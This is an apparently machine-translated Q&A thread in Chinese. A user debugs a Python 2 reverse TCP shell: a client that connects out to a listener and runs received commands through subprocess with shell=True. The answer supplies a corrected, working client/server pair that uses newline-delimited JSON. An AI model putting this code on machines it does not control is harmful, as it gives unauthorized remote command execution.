Awn*_*Awn 5 python sockets client tcp server
因此,我一直在尝试使用Python的套接字模块,并且创建了一个简单的TCP客户端/服务器设置。一切都在IP 192.168.1.3的同一系统(Win7x64)上运行
这是客户端(这是反向TCP连接):
import socket, subprocess, time
me = '192.168.1.3'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((me, port))
break
except:
time.sleep(1)
s.send('[*] Connected!')
while True:
data = s.recv(1024)
output = subprocess.check_output(data, shell=True)
s.send(output)
s.close()
Run Code Online (Sandbox Code Playgroud)
这是服务器:
import socket
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
#client.close()
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
Run Code Online (Sandbox Code Playgroud)
这是我在服务器上收到的输出:
Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*
Run Code Online (Sandbox Code Playgroud)
然后就挂在那里。无论我让客户发送什么,它都不会收到。这些命令在客户端成功执行,但输出未发回。
?
编辑:我已经设法通过将函数中的内容封装在循环中来获取服务器接收到的命令的输出一次:
def handler(client):
while True:
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
Run Code Online (Sandbox Code Playgroud)
因此,如果我发送dir命令,则会收到一次输出。但是在尝试发送另一个命令时,我得到了:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Users\Jami\Documents\Awn\Eclipse USB Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine
Run Code Online (Sandbox Code Playgroud)
编辑:
有人可以推荐另一种方法吗?我想要做的是让服务器执行以下操作:1.向客户端发送命令,2.客户端执行该命令,并3.将输出发送回,4.服务器将接收到输出。并进行下去,直到被用户阻止为止。
TCP 是一种流式传输协议。因此,您需要某种消息格式来进行通信。其次,您需要一个循环来发送命令并读取结果。在客户端,您还需要某种消息协议来发送结果。我使用 json 编码字符串和新行作为消息结束字符。
服务器:
import socket
import threading
import json
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
print 'Recieved: %s' % client
sock_input = client.makefile('r')
while True:
command = raw_input('> ')
if command == 'exit':
break
print 'Sending: %s' % command
client.sendall(command + '\n')
print json.loads(next(sock_input))
client.close()
def main():
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
if __name__ == '__main__':
main()
Run Code Online (Sandbox Code Playgroud)
客户端:
import socket
import subprocess
import time
import json
me = 'localhost'
port = 1332
def main():
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((me, port))
break
except Exception, e:
print e
time.sleep(1)
sock_input = s.makefile('r')
for command in sock_input:
try:
output = subprocess.check_output(command, shell=True)
except:
output = 'Could not execute.'
s.sendall(json.dumps(output)+'\n')
s.close()
if __name__ == '__main__':
main()
Run Code Online (Sandbox Code Playgroud)
| 归档时间: |
|
| 查看次数: |
4163 次 |
| 最近记录: |